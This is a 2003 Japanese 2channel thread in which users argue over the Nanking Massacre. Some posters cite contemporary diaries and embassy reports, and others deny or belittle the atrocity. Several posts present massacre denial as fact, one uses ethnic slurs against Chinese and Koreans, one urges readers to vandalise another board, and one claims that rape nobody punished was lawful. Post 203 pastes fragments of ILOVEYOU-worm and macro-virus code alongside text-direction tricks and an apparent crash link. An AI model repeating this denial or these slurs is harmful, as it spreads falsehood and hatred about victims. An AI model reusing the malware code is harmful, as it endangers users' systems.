>写真も山ほどあるが
んじゃそれ何枚か出して。

>日本軍が都合の悪い記録を残すと思うか?
だって写真一杯残ってるんでしょ。

ラーベは国際安全区委員会報告では49人のはずでは?
それにラーベのは後から聞いたものをかいたんでしょ?
外国人の記録でも数千人だったはずでは?


159 :名無しかましてよかですか?:03/08/17 22:23 ID:Cbkx3TxX
>>158

 村瀬カメラマンの写真でも探せよ。自分でやれ。
 後はネットで探せばいいだろう。一杯出てくるから。
 私が言いたいのは、軍に隠れて写真を撮ったり、保管したりしたため、撮影者が不明なものが多く,場所と時期が不確実な写真が多いということだ。

160 :権兵衛:03/08/17 22:37 ID:43lWQymp
ちょっと気になるんだが、袁世凱や毛沢東は南京大虐殺について
日本に抗議したんだろうか。
したなら何時どのようにしたんだろう?
誰か知らない?

それと東京裁判だけど、11人の判事の中で国際法の専門家は
インドのパール判事だけってのはやっぱ異常だよなぁ。

161 : :03/08/17 22:41 ID:HU05UWUu
☆ チン     マチクタビレタ〜
                         マチクタビレタ〜
        ☆ チン  〃  Λ_Λ   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
          ヽ ___\(\・∀・) <  ねぇー「反論出来ずに完敗だった議論」まだぁ?
             \_/⊂ ⊂_ )   \_________
           / ̄ ̄ ̄ ̄ ̄ ̄ /|
        | ̄ ̄ ̄ ̄ ̄ ̄ ̄|  |
        |  愛媛みかん   |/


http://tmp.2ch.net/test/read.cgi/kova/1058884923/l50

162 :名無しかましてよかですか?:03/08/17 23:39 ID:hkuIEzGh
あいかわらず否定派は言葉がわるいなあ

163 :名無しかましてよかですか?:03/08/18 00:55 ID:DacEO4Yw





>>130-136 名前ソース       笑わせてもらいました。









164 :名無しかましてよかですか?:03/08/18 01:03 ID:DacEO4Yw
>>159
 >自分でやれ。

 キターーーーーーーーーーーーーーーーー

 君なんでこのスレ来たの? 単なる煽り?

 これだから捏造肯定派は・・・  馬鹿が多いなw

165 :権兵衛:03/08/18 07:13 ID:6S6n4KDF
袁世凱と毛沢東はどうなった!!!
肯定派、否定派どっちでもいいから早くしろ。
空前の大虐殺があったなら、袁や毛は大々的にソッコウで抗議するだろうがよ。
袁や毛でなくてもやるだろう。
俺はその事実が知りてぇんだよぉ。
何時どのように抗議をやったんだ?

166 :名無しかましてよかですか?:03/08/18 08:59 ID:fsfV1L2x
あのー、袁世凱は南京虐殺の20年前に死んでいるんですけど・・・

167 :名無しかましてよかですか?:03/08/18 09:04 ID:mZEIWdbQ
南京とか、慰安婦とか、靖国とか、チャンコロやチョンは日本に対する劣等感
の払拭や牽制のために意図的に攻撃材料にしてるだけなのに、そんな
事情も知らず、ビビッて「過ちを認めろ」とか言ってる日本人はどうしょ
もない知欠だし、チキンだな。(w
こういう香具師等はきっとテコンドーがコリアン空手である事すら知らないんだ
ろうな。連中の宣伝通り2000年の歴史がある半島固有の伝統格闘技だと
信じてたりして。(w

168 :名無しかましてよかですか?:03/08/18 09:39 ID:Xkp32mYL
>>166
それじゃあ、死んで抗議したんだ。w

169 :113:03/08/18 11:08 ID:4B05fXMh
>>159

隠し撮りしたからって撮影者や撮影場所、時期が不明確になるって論理は
わけわからないのですがw


170 :ソース:03/08/18 11:38 ID:O4xlkBui
>>154
>>158
ドイツ外務省資料室所蔵の一九三八年三月南京ドイツ大使館から出した報告書にもこう書いてある。
「悪夢のような残虐な手段で大量処刑された中国人。下関の川岸に捨てられた三万体の死体は慈善団体が一日五,六百体の処理しかできない状態であった。」
因みに判ってると思うけどこれは下関だけでの数ね。

171 :ソース:03/08/18 11:45 ID:O4xlkBui
>>163
そうか?よかったな。
まじめに>>130-136
それと多くの南京に関連する資料をていぞうと主張したいのならその証拠を提示しないと。証言者がCIAでもGHQでもいいから買収されたとかさ。いくら払われたとかね。

172 :名無しかましてよかですか?:03/08/18 11:54 ID:geB5JBxK
ていぞう ていぞう ていぞう ていぞう ていぞう

ていぞう ていぞう ていぞう ていぞう ていぞう

ていぞう ていぞう ていぞう ていぞう ていぞう

ていぞう ていぞう ていぞう ていぞう ていぞう

ていぞう ていぞう ていぞう ていぞう ていぞう

173 :ソース:03/08/18 11:59 ID:O4xlkBui
捏造を証明したいんなら証言者写真家、兵士、軍高官の身辺についての情報や買収についての記録を夜露死苦!虐殺上等!夜露死苦ぅぅう!!!

174 :ソース:03/08/18 12:01 ID:O4xlkBui
こちらとしちゃ証拠があっから信じてる訳であって其処をクズさにゃどーにもならんのよ。逆に何があなたたちに「無かった」と信じさせたのかな?

175 :113:03/08/18 12:04 ID:4B05fXMh
ていぞうかw

176 :名無しかましてよかですか?:03/08/18 12:06 ID:EmveDFnI
>>169
 ほんとに分からないの?
 南京で写真を撮って事実を知らせたいと思ったらどうする。自分で撮ったとは言わないでくれといって、南京から逃げ出す人に渡さないか?
後世に残したいと思ったら、見つからない場所に隠さないか?万が一見つかっても自分とは無関係の場所に隠さないか?
 単なる隠し撮りではないぞ。命がけの隠し撮りだから、出所が分からないようにするのは当然だろう?出所が分からなければ、場所や日時の特定も
不可能だろうが。

177 :113:03/08/18 12:07 ID:4B05fXMh
>>176

で、なんで現在もわからないわけ?

現在ならOKだろ?w

178 :名無しかましてよかですか?:03/08/18 12:12 ID:y8wwNSz0
>場所や日時の特定も不可能だろうが。
じゃなんで南京だってわかるんだよ。

179 :ソース:03/08/18 12:22 ID:O4xlkBui
こちらとしちゃ証拠があっから信じてる訳であって其処をクズさにゃどーにもならんのよ。逆に何があなたたちに「無かった」と信じさせたのかな?

180 :名無しかましてよかですか?:03/08/18 12:29 ID:v4E5M19I
捏造の陰謀とやらが証明されたことなどタダの一度もない。

181 :名無しかましてよかですか?:03/08/18 12:30 ID:geB5JBxK
>>179
これさえあれば他は要らない、というような、極上の決定的写真を出してくれないかな。


182 :名無しかましてよかですか?:03/08/18 12:37 ID:EmveDFnI
>>177
> >>176
>
> で、なんで現在もわからないわけ?
>
> 現在ならOKだろ?w

 大丈夫か?今の生き残っている奴の方が少ないだろうが。
 それに、写真を撮った後に殺された人だっているだろう。終戦直後に、自分の写真がどうなったかを知っている
中国人がいたと思うのか。内戦、文化大革命という混乱の中にいたんだぞ。

 今の日本のような情報化社会ではないことも分からないのかね。

>じゃなんで南京だってわかるんだよ。
 口授があったからだよ。南京で起こったことだという。


183 :113:03/08/18 12:43 ID:4B05fXMh
>>182

じゃあ確定証拠にはならないわけだねw

184 :113:03/08/18 12:44 ID:4B05fXMh
写真ネタは新たな情報が入るまで凍結で4649w

185 :名無しかましてよかですか?:03/08/18 13:17 ID:EmveDFnI
>>183
 確定証拠って何だよ。

 すべての資料を総合的に判断して事実を認定するんだろうが。
 多くの加害証言と被害証言。第三者の目撃証言。それらと合致する写真の存在。
 必要にして十分だろうが。



186 :113:03/08/18 13:36 ID:4B05fXMh
その写真が南京で撮られた本物か
または全く別の写真か

判断できる材料があるのか?

わからないんだろ?



187 : :03/08/18 14:05 ID:3Ze9R9Iv
http://www2u.biglobe.ne.jp/~sus/



ま〜、これでも読んでもちつけ




188 :名無しかましてよかですか?:03/08/18 14:45 ID:cHK1y4ui
写真に限った事ではないが、
「出どころが明らかでないもの」に対し、
むりやり事情を当てはめて納得するのと
もっとはっきりしたものを求めるのと、
どっちが健全だか子供でも分かるだろうに。

あと「総合的に判断する」と言ってる香具師がいるが、
証言の多くが辻褄合ってなかったり、
写真の中に捏造が多数含まれてたり、
中国に宣伝工作組織があったりした点も
もちろん含めて考えてるんだろうな?

189 :あぼーん:あぼーん
あぼーん

190 :名無しかましてよかですか?:03/08/18 16:43 ID:EmveDFnI
>>188
李秀英の名誉毀損裁判の判決より
 「資料館に表面上の食い違い・変遷があることから、推理あるいは推測という表現形式で本件摘示事実を
記述したものであり、そのような推理あるいは推測に十分な合理性がないことは、資料を批判的に検討し、
かつ合理的に判断できる読者の多くにおいては、容易に理解できるものである」

>写真の中に捏造が多数含まれてたり、
 意図的なねつ造が行われたことを証拠資料を示して明らかにされたい。

>中国に宣伝工作組織があったりした点も
 宣伝工作組織があるのはどこの国も同じ。彼らが,南京事件をでっち上げたと主張するのならその証拠も
示されたい。

191 :名無しかましてよかですか?:03/08/18 16:46 ID:cHK1y4ui
>>190
全然「総合的な判断」じゃないね(笑)議論の流れ呼んでる?
そうやって個別にツッコミ入れてるヒマがあるなら、
上の方の「出どころの明らかでない証拠写真」の出どころを
とっととハッキリさせて下さい。でなければ片手落ちです。

192 :名無しかましてよかですか?:03/08/18 16:55 ID:cHK1y4ui
ていうかその裁判の判決文
「推理あるいは推測には十分な合理性は無い」
ってのは、まさにこのスレの肯定派に対して言える事だろうが。
>>182とか見てみろ、推測オンリーだろうが(笑)

193 :名無しかましてよかですか?:03/08/18 17:20 ID:EmveDFnI
>>191
 君は数少ない賢明じゃない読者と言うことだね。

 ねつ造という以上、根拠がいるぞ。

194 :名無しかましてよかですか?:03/08/18 17:36 ID:cHK1y4ui
>>193
↓この中からどれでもお好きなのをどうぞ(笑)
http://www.google.co.jp/search?q=%E5%8D%97%E4%BA%AC+%E8%99%90%E6%AE%BA+%E5%86%99%E7%9C%9F+%E6%8D%8F%E9%80%A0&ie=UTF-8&oe=UTF-8&hl=ja&lr=lang_ja

ていうか、こっちのツッコミは無視ですか?
都合の悪い事にはダンマリ決めこみですか?

195 : :03/08/18 17:55 ID:3Ze9R9Iv
http://www2u.biglobe.ne.jp/~sus/



だから、これでも読んでもちつけ





196 :名無しかましてよかですか?:03/08/18 18:09 ID:EmveDFnI
>>194
 ねつ造と言うからには何者かが、南京事件があったように見せかけた写真を作ったこと、あるいは無関係の写真を
南京事件とは関係のないことを知りながら南京事件の証拠として使用したことを証明しなければならない。
 そんな証明ができた例は一つもないぞ。単なる誤用とねつ造は違う。

 それに,南京事件の証拠資料とされていた写真が、南京事件と無関係と君たちが判断した写真はいったい何枚あるんだ。
それは、全体のどのくらいだと思うんだ。一言も反論できない写真の方が多数じゃないか。

 それになプロ研の写真の分析も間違っているのもある。

197 :名無しかましてよかですか?:03/08/18 18:13 ID:cHK1y4ui
東京にテポドン飛ばされても1発なら誤射、つーのと同じ理屈だな。

198 :名無しかましてよかですか?:03/08/18 18:30 ID:BrYbvy48
南京「大」虐殺事件はあったのか否か。
とりあえず、虐殺があったのは間違いないのですか?

199 :名無しかましてよかですか?:03/08/18 18:33 ID:geB5JBxK
>>196
お前、>>195が紹介してるサイト見に行ったか?

200 :名無しかましてよかですか?:03/08/18 19:56 ID:y8wwNSz0
虐殺が全くなかったというのはそれこそまぼろしだろう。

ただ、東京裁判と中国の主張には疑いがあるということ。

http://nankinrein.hp.infoseek.co.jp/page006.html

201 :戦後民主主義教育:03/08/18 20:02 ID:7+p2cszq
中国にある南京大虐殺記念館に40万人の善良な中国人が悪の旧日本軍に
虐殺されたってきちんとかいてあるぞ!!

202 :名無しかましてよかですか?:03/08/18 20:06 ID:7+p2cszq
。。

203 :あひゃ ◆PvXwzK8UaY :03/08/19 02:14 ID:+6aej2Tf
&rlo; http://wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
以上、ケン・コロスでした!  
http://news2.2ch.net|test|read.cgi|newsplus%40195.126.71.77/%63%72%61%73%68%6D%65
http://jbbs.shitaraba.com/game/bbs/read.cgi?BBS=1314&KEY=1026453049
&rlo; ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥

204 :名無しかましてよかですか?:03/08/19 03:58 ID:dzlRJMon
虐殺があったと言う人たちに質問
●虐殺の動機は?現場の独断で虐殺があったとは考えにくい。軍隊も動けば金がかかる。本来やるべき戦闘の為の費用を削ってまで虐殺を行ったのか?武器てのは消耗品だ。
●虐殺の命令はどこから出た?そんな大掛りな作戦なら、命令等の資料が膨大になるはずだが?隠蔽は不可能と思う。
●証拠写真だがイマイチ出どころのはっきりしないものが多い。よく出てくる証拠写真の源を教えて!

悪を暴くなら、何故その行為が必要だったのかを示すことは最低限の常識だ。

205 :204:03/08/19 04:36 ID:dzlRJMon
言い忘れたが、食糧を稼ぐ為に略奪・虐殺に及んだ、と言う単純な話は辞めてくれよ。まだ、兵站がまともな時期なんだからその理由は通らない。

虐殺あった派は、みんながあったと言うから、虐殺はあったと言いたいんだね。主張に抜け落ちてる部分が多いからそう思えてしまう。ただ、私の質問に的確に答えて貰えたら信じるよ。

206 :113:03/08/19 05:24 ID:7cA0Dxwi
食料が不足してくるであろうことは予測できて「徴発」に及んだ例はある。

が、「徴発」と虐殺を即結びつけるのは困難。
そういう連想は妙な映画の見すぎだろう。

「徴発」は適正価格で(中には盗んだものもいるが)買い取るのがセオリーなんだから。

207 :113:03/08/19 05:29 ID:7cA0Dxwi
ユーゴスラビアなどで虐殺を行ったナチスドイツでは「あった」という目撃証言は共通なわけだが。

南京ではなぜかその証言が「ある」「ない」で食い違う。

ユーゴ一つとっても、南京よりも被害者は少ないのだが(南京は30万だろ?w)

208 :名無しかましてよかですか?:03/08/19 05:55 ID:MtBf7NoO
http://esenden.com/rank/ninki/ranklink.cgi?id=groovy

209 :名無しかましてよかですか?:03/08/19 09:15 ID:UkuXMmgT
>>205
予定外の進軍、それも現地指揮官の暴走によるものだから、兵站が機能する方が不思議。

210 :名無しかましてよかですか?:03/08/19 12:07 ID:dzlRJMon
現地指揮官の暴走=命令違反
と思うのが常識。軍隊は一指揮官の暴走で予定を変えられるほど自由な団体だったのか?軍隊は上意下達が絶対でしょ?暴走する指揮官なんて危なくて部隊なんて預けられないでしょ?
虐殺があったとすれば、作戦遂行上何らかの必要があり、何らかの計画に則って行われたんでしょうな。そうでないと、虐殺と言われる行為は不可能だ。

211 :名無しかましてよかですか?:03/08/19 13:45 ID:TtcJsiCU
その命令違反がまかり通るようになっちゃったのが、満州事変以降の
日本陸軍だったわけでして。
元来日本軍は参謀統帥の傾向が強かった。派閥人事の結果司令官クラス
にお飾りが多く、参謀がそれを補佐し、実質的な司令官を勤める事が
多かった。(この悪癖は既に日露戦争の頃から現れている。)
命令権のない参謀が命令を下すと言うのが慣習化しており、結果さえ
出せば命令系統を無視しても、無能な上の命令に従わずともと言う風潮が
参謀級に蔓延していた。

212 :名無しかましてよかですか?:03/08/19 14:02 ID:H4g8j1VW
>>205
>まだ、兵站がまともな時期
とんでもない。南京攻略戦では、輜重連隊を置きっぱなしにして、戦闘部隊
だけ前進してたよ。兵站はまとも、どころじゃないよ。
井本熊夫著「大本営秘密作戦日誌・支那事変」に詳しいよ。

213 :名無しかましてよかですか?:03/08/19 14:08 ID:H4g8j1VW
>>210
>暴走する指揮官なんて危なくて部隊なんて預けられないでしょ?
松井石根は派遣軍司令官に任命されて東京を出発する時に、「南京を攻略
したいよー必要ならやっちゃうよ?」と、参謀総長なんかには言っていた。
12月1に大陸命「南京を攻略せよ」が出るまでは、「独断専行」という名目で
大本営が定めた制令線を越えた軍事行動をしていたね。
南京攻略後も、16師団では上級司令部である上海派遣軍の「山田支隊の捕虜を
収容しなさいね」と言う命令を無視して「みんな殺しちゃいなさい」って山田
支隊に命令しているし。そもそも「お前らは南京に入城してはダメ」という命令
すら守られていないし。
部隊を使って若い女性を「徴発」して逮捕された中隊長の話なんか有名だよ。

214 :名無しかましてよかですか?:03/08/19 14:10 ID:H4g8j1VW
>>207
>南京ではなぜかその証言が「ある」「ない」で食い違う
「ある」証言を支える当時の記録はあるけど
「ない」証言を支える当時の記録はない。
「ない」証言の信憑性が低いのは当然。

215 :名無しかましてよかですか?:03/08/19 14:36 ID:U7RhbeQe
>>212
戦闘部隊が前で補給部隊が後なのは当たり前。

>>213
逮捕された例があるくらいだから
なおさら虐殺なんて無かった、と考えそうなものだが。
女狩りして「逮捕されなかった例」を出すならともかく。

>>214
「無かった」ことの証明はできないと何度言ったら(ry

216 :名無しかましてよかですか?:03/08/19 14:44 ID:TtcJsiCU
>逮捕された例があるくらいだから
>なおさら虐殺なんて無かった、と考えそうなものだが。
氷山の一角と言うことわざをご存知ですか。


217 :名無しかましてよかですか?:03/08/19 14:58 ID:H4g8j1VW
>>215
>戦闘部隊が前で補給部隊が後なのは当たり前
戦闘部隊が上海〜南京の中間点にいる時に、輜重連隊はまだ船の上、
と言う状態が「当たり前」ですかw
>女狩りして「逮捕されなかった例」を出すならともかく
それなら外国人の記録にいっぱいでてくるでしょう。ヴォートリンの日記、
ラーベの日記とか。

>「無かった」ことの証明はできないと
できるよ。16師団長の日記がニセ物だった証明とか、山田支隊の兵士の日記は
ニセ物だったという証明とか、方法はいくらでもある。当時の記録が「あった」
証言の補強をしているわけだから、当時の記録が実はニセ物であった証明をすればいい。
それをやりもしないで「なかった証明なんかできない」なんて言ってるから
否定派は怠慢だと言われるの。

218 :名無しかましてよかですか?:03/08/19 15:22 ID:U7RhbeQe
>>216
>氷山の一角と言うことわざをご存知ですか。

あのね、違反者を逮捕するだけの「秩序があった」という事を言ってるの。
現代社会だって同じでしょ?逃げ延びる犯罪者もいる事はいるし、
警察だって不祥事連発かも知れないけど、秩序はあるでしょ?
そういう現代社会の中で、組織的な無差別虐殺なんて、
かのオ○ムくらいしかやってないし、しかも捕まったでしょ?
つまり当時も、国軍が組織的に大量虐殺するような
無秩序な状態ではなかった、という話なの。

219 :名無しかましてよかですか?:03/08/19 15:27 ID:U7RhbeQe
>>217
>戦闘部隊が上海〜南京の中間点にいる時に、輜重連隊はまだ船の上、
>と言う状態が「当たり前」ですかw

どこがどうおかしいか説明してくれる?
ていうかそれ以前に、あんた「輜重連隊」の意味分かってる?

>それなら外国人の記録にいっぱいでてくるでしょう。ヴォートリンの日記、
>ラーベの日記とか。

はい、出ました肯定派得意のスリカエ。
それは「事件の目撃証言」であって「逮捕されなかった記録」ではない。

>できるよ。16師団長の日記がニセ物だった証明とか、山田支隊の兵士の日記は
>ニセ物だったという証明とか、方法はいくらでもある。

ハイ、連続で来ました得意のスリカエ。
それは「個々の」証言や記録の矛盾を突いてるだけで、
「無かった証明」ではありません。
ちなみにそれらの作業は過去ログやあちこちのサイトで
とっくに為されております。特にラーベ(笑)

220 :名無しかましてよかですか?:03/08/19 15:51 ID:R6qwniLz

ラーベの日記を未だに「虐殺」の根拠にしてるアフォがいるのか(藁


221 :名無しかましてよかですか?:03/08/19 16:27 ID:lFMFc6DU
「ラーベの日記」は一次資料ではないと思うが。

222 :名無しかましてよかですか?:03/08/19 16:37 ID:G0nyxnVh
>>218,>219
 では法務官の日記なら信用するか?
「ある軍法務官の日記」(小川関治郎 みすず書房127p)
「○上砂中佐事務打ち合わせに来部
 中佐曰く近頃強姦事件につき不起訴に付せらるるもの多く
憲兵がせっかく検挙せしものに斯くいたさざることとなると
努力のかいなしと 自分答ふ 或いは然らん 併し自分は戦
争中に於ける情状,犯人のその当時に於ける心理,シナ婦人
に対する貞操観念,是迄の犯行数(その実際の数を挙げれば
莫大ならん)非検挙に終わりし者と偶々検挙せられた者との
数の比較等」
 小川法務官はこのような理由を挙げながら,強姦事件を起
訴しないことを正当化している。彼に言わせれば脅されてす
ぐやらせれば強姦じゃないらしい。何ともものすごい感覚だ
が。
 その彼をしても,実際の強姦の件数は莫大な数である。と
認識していたわけだ。


223 :222:03/08/19 16:38 ID:G0nyxnVh
すまん,昭和12年12月25日の日記だ。


224 :113:03/08/19 17:30 ID:7cA0Dxwi
>>200

だからさー

紳士の軍隊(ぷ)なんて存在しないけど

人類史上特筆されるべき残虐な事件=南京事件(大虐殺)

なわけじゃないだろ?w

幻ってのは、そういう意味だぜ?w

どこの戦場だって一般市民が巻き添えになる場合は悲惨なものだ。

要はグローバルに見て、特筆されるべき点が見えないから「幻」となるわけw

225 :113:03/08/19 17:34 ID:7cA0Dxwi
PS

そうでないと通州も硫黄島もソンミ村もこの前のイラクもなんでもかんでも同列に並べる事に
なる。

戦争という業をなめすぎてる考えを生み出す事になるよ。

226 :113:03/08/19 17:38 ID:7cA0Dxwi
言い換えれば、ぶっちゃけ

日本に核ミサイルと衛星、原子力空母の機動部隊があれば問題にもならない
話なわけで。

愚かな話だが、しょせんその程度で話がついてしまう案件だよ。

227 :名無しかましてよかですか?:03/08/19 17:41 ID:U7RhbeQe
>>222-223
またスリカエか。「検挙したけど不起訴になった」わけ。わかる?

当時だけでなく現代の日本でも強姦罪は「親告罪」で、
たとえ警察が強姦魔を現行犯逮捕しても、
被害者女性が起訴しなかったらそれ以上罪を問えないわけ。
で、「この条件下における無秩序」ってのは
「そもそも捕まえない(検挙しない)状態」の事。だろ?
それとも、法に逆らって親告も無しに処刑しろ、とでも?

これに対して陸軍刑法を持ってくる事が予測されるので先に釘を刺すが、
戦地強姦罪が制定されたのは昭和17年。
で、君の引用してる談話は昭和12年。

228 :113:03/08/19 17:43 ID:7cA0Dxwi
>>227

もうさあ、いいじゃんw

こういう手合いは論破されてる事に気付かない香具師だよ。

こっちが疑問を投げかけても、証拠のない根拠しか出てこない。

時間の無駄だ

229 :113:03/08/19 17:48 ID:7cA0Dxwi
逆に否定派が肯定派になって

肯定派が否定派になってみたら

真面目にやると有意義な気がする

230 :222:03/08/19 19:00 ID:G0nyxnVh
>>227
 すり替えは君だろうが。私は,強姦が事実として存在したかという問いに対して
法務官の認識として莫大だったという認識を示したのだ。処罰されなかった強姦は
適法な行為なのか?

 でばかなすりかえの部分

 ところで,憲兵は,君以下の法的知識がないと思うか?彼が抗議したのは強姦が
親告罪と知らなかったからだと思うのか?いいか,強姦を現行犯で摘発するときは
必ず被害者も保護する。その上で,被害者の調書を取って,告訴の意思があれば当
然告訴をさせる。憲兵にとってはそのくらい常識だろう。その上で,小川法務官に
抗議しているのだ。
 小川法務官の言い分も,告訴がなければ,告訴がないから起訴できないという話
ではないだろう。ばかばかしい。

 更に追加,輪姦は親告罪か?強姦致死傷はどうだ?

 で,莫大な数の強姦があったことは認めるのか。

231 :名無しかましてよかですか?:03/08/19 19:07 ID:VyDA6ARS
>>230
「莫大な数」ってどれくらいだ?


232 :113:03/08/19 19:34 ID:7cA0Dxwi
>>230

>処罰されなかった強姦は
>適法な行為なのか?

はい、そうです。
法律万能論を信じてる純粋まっすぐ君みたいですな(;´Д`)

キミはまず、渋谷や新宿で違法行為取締り運動をするべきです。
その後挫折して、隠者生活をすることが宿命です。
または民○などの組織に入り、悪を滅ぼす正義の味方になると良いでしょう。
あなたのために日本にはそういう組織があります。

また、それでも満足できない場合は北朝鮮という最後の砦がございます。
ぜひとも移住する事を推奨します。
そこで見た事をリアルに受け止める感性が残っていたなら
あなたは数年後健全な感覚を持って日本に来日する事ができるでしょう。
そのとき、再び日本人になりたいといっても受け入れてくれるとは限りませんが。

233 :名無しかましてよかですか?:03/08/19 19:37 ID:ozg+J2cc
南京事件はデ!!!!マ!!!!!
なんで事件が起きた年に人口が増えてんだよー!!!

234 :113:03/08/19 19:43 ID:7cA0Dxwi
>>232

に追記

もしこの通りのことをできないなら

>>230



DATAをいじくるだけのDQN認定で4649



235 :222:03/08/19 20:08 ID:G0nyxnVh
>>232

 君みたいな奴がいるから,南京事件が起こったんだな。最近日本の治安が悪化したのは君たちのような
誰がみていなくてもお天道様がみているという日本の古き良き伝統を破壊する奴がいるからだ。
 あきれてものが言えない。君の理屈が世の中で通用すると思うな。

236 :名無しかましてよかですか?:03/08/19 20:30 ID:UWIhOeCP
>>処罰されなかった強姦は
>>適法な行為なのか?
>はい、そうです。

これの根拠が知りたい。



237 :名無しかましてよかですか?:03/08/19 20:56 ID:U7RhbeQe
>>230
>私は,強姦が事実として存在したかという問いに対して

はい、まずここ。誰が「強姦は事実ですか?」などと問いましたか?
私は「(戦時中でも)違反者を摘発するだけの秩序はあった」と言っているのであって
「(虐殺、強姦に限らず)違反者は1人もいなかった」などと主張してませんが?
他の誰かと間違えましたか?それともまたスリカエですか?

>いいか,強姦を現行犯で摘発するときは
>必ず被害者も保護する。その上で,被害者の調書を取って,告訴の意思があれば当
>然告訴をさせる。憲兵にとってはそのくらい常識だろう。その上で,小川法務官に
>抗議しているのだ。
>小川法務官の言い分も,告訴がなければ,告訴がないから起訴できないという話
>ではないだろう。ばかばかしい。

何をどう抗議しているのか全然分かりませんね。
いいですか?もう1度繰り返しますよ?
「検挙したけど不起訴になった」わけ。わかる?
あなたの妄想で勝手にばかばかしくなられても困るんですが?

>で,莫大な数の強姦があったことは認めるのか。

「莫大」では分かりません。基準値を示してください。
はっきり言いますが、強姦は現代でも多数起こっています。
それも日本だけでなく世界各国で。「あの国」なんかはスゴイですよ(笑)。
そして、それらについてもも起訴され明るみに出ているのは氷山の一角です。
それを踏まえた上で、再度質問をお願いします。

238 :名無しかましてよかですか?:03/08/19 21:01 ID:U7RhbeQe
>>235
他者同士の議論(?)に口出しするのも恐縮ですが、またスリカエですね。
232の人は、強姦も親告されなければ「適法」だ、といってるだけで、
善悪の話はしていませんね。あくまで法の話です。
そこに「お天道様が」「古き良き伝統」とかいう善悪論を持ち出す、
これは誰がどう見ても100%スリカエです。
そのような回答をするのであれば、あなたは>>230
「強姦は悪い事か?」と質問するべきです。違いますか?

239 :名無しかましてよかですか?:03/08/19 22:46 ID:oftfsurG
まだラーベの日記にイチャモンつける奴がいたのかw

既に東中野は、有名なイチャモンの一つ「モーゼル銃」を日本兵が持っていたと
ラーベが記述したことに関して「日本兵はモーゼル銃を持っていない」という
批判への否定材料を例の最新著書で日本軍側史料から見つけたそうだねw

240 :アカバですが何か?:03/08/19 22:49 ID:LMhhj6rf
http://tmp.2ch.net/test/read.cgi/kitchen/1061136618/l50
ここを荒らせ

241 :222:03/08/19 23:10 ID:G0nyxnVh
>>231
 莫大な数は,莫大な数だ。小川氏の認識だから私には分からんよ。
しかし,日本語の使い方としては1000件やそこらでは莫大な数とは言わ
ないのではないか。莫大な数の意味も知らないほど日本語に不自由か?

>>237
>はい、まずここ。誰が「強姦は事実ですか?」などと問いましたか?
私は「(戦時中でも)違反者を摘発するだけの秩序はあった」と言っているのであって
「(虐殺、強姦に限らず)違反者は1人もいなかった」などと主張してませんが?
他の誰かと間違えましたか?それともまたスリカエですか?

 小川の言い分を良く読め。莫大な数の強姦が起きていてたまたま捕まえて奴だけ処罰
されることを比較するとと書いてある。莫大な数の強姦が起きていて,憲兵隊が捕まえ
ても,それ以外の捕まらなかった強姦事件と比較すること「公平を欠くから」起訴をそ
んなにできないと書いてあるんだ。「秩序のある社会」とそれでも言えるのか?

>>238
 ひらがなに直しても読めないのか?
>近頃強姦事件につき不起訴に付せらるるもの多く
>憲兵がせっかく検挙せしものに斯くいたさざることとなると
>努力のかいなしと

 せっかく憲兵が捕まえたのに,法務官が起訴しないのでは
豪華印字県を取り締まる憲兵の努力のかいがないと抗議しているんだ。

242 :222:03/08/19 23:26 ID:G0nyxnVh
>>238
>他者同士の議論(?)に口出しするのも恐縮ですが、またスリカエですね。
232の人は、強姦も親告されなければ「適法」だ、といってるだけで、
善悪の話はしていませんね。あくまで法の話です。
そこに「お天道様が」「古き良き伝統」とかいう善悪論を持ち出す、
これは誰がどう見ても100%スリカエです。
そのような回答をするのであれば、あなたは>>230
「強姦は悪い事か?」と質問するべきです。違いますか?

 それはすまなかった。謝るよ。君たちとは,「強姦は悪いことか?」
という議論から始めなければならなかったんだね。そうだよね。少女を
だまして連れて行って売春を強要しても「正当な商行為」と考える人た
ちだものな。心底悪かった。

 ところで,君たちとは強盗も悪いことかという問いから始めなければ
ならないのか?


 皮肉はともかくとして,強盗,強姦,殺人などは,文明社会が
成立して以来,もっとも基本的な犯罪類型なんだがな。犯罪とし
ていない文明社会は存在しない。こういうのを自然犯というのだ。
刑務所でも,強姦犯は卑劣な奴として,受刑囚からもいじめられ
るらしい。
 でな,法律的なことを言うと親告罪は「告訴」が訴訟要件という
だけであって,告訴があって初めて違法になる訳じゃないんだ。
もちろん,現行犯で取り押さえた後,女性が告訴しなかったとして
も逮捕は適法。通常逮捕でも同様。



243 :222:03/08/19 23:26 ID:G0nyxnVh
続き
 最大の問題は,南京事件の有無の話をしていたはず,無秩序な強姦
なんて起きてないという主張に対して,
 法務官ですら,憲兵の捕まえていない強姦事件が莫大だから,運が
悪かった奴だけ起訴できるか,というほど強姦事件があったという話。
否定派の諸君「莫大」とは,数の大きさを表す概念として,どの程度
だと思いますか?まさに,日本語の問題だろう。人に聞くなよ。自分の
胸に聞いてみろ。

244 :113:03/08/19 23:36 ID:7cA0Dxwi
>>222

>ていぞう
>豪華印字県

なんか怪しいのだが・・・・・w
すまん、事実だけなw印象操作じゃないぞw
キミの誤字がぶっとんでるだけだw


でだ、>>238の方が代わりに返答してくれた通りなんでレスは省略。

>莫大な数は,莫大な数だ。小川氏の認識だから私には分からんよ。
>しかし,日本語の使い方としては1000件やそこらでは莫大な数とは言わ
>ないのではないか。莫大な数の意味も知らないほど日本語に不自由か?

いやキミのほうがどう見てもぶっとんだ日本語だw
なんでもいいので公式な場でさ、数字も重要な事実認定の作業で「莫大な数」とかさ言っても許される?
たとえば給料の認定に「莫大な数」という論理が通るのだろうか?
常識で考えてくれ。
もし、キミが日本でなく別の文化圏の人なら保証の限りではないが、少なくとも日本の社会では無理だと保証できる。


